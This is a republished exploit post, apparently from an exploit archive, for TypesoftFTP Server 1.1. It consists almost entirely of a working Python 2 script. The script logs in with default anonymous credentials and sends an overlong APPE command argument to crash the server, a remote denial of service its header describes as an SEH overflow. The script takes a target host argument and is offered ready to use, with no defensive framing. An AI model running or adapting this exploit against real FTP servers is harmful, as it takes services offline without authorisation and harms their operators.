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TypesoftFTP Server 1.1 Remote DoS (APPE)
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来源：vfocus.net 作者：brock 发布时间：2012-03-19
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#!/usr/bin/python
###############################################################################
# SEH overflow exploiting a vulnerability in Typesoft-FTP APPE command.
# Date of Discovery: 3/16/2012 (0 Day)
# Author: Brock Haun
# Vulnerable Software Download: http://sourceforge.net/projects/ftpserv/
# Software Version: 1.1
# Target OS: Windows 7
# REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled by default.
###############################################################################
import socket, sys
if len(sys.argv)!= 2:
print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'
sys.exit(1)
print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'
host = sys.argv[1]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A../' + '\x41' *100
print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'
s.connect((host,21))
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('APPE ' + buffer + '\r\n')
print '\n\t[*] Done! Target should be unresponsive!'
s.close()
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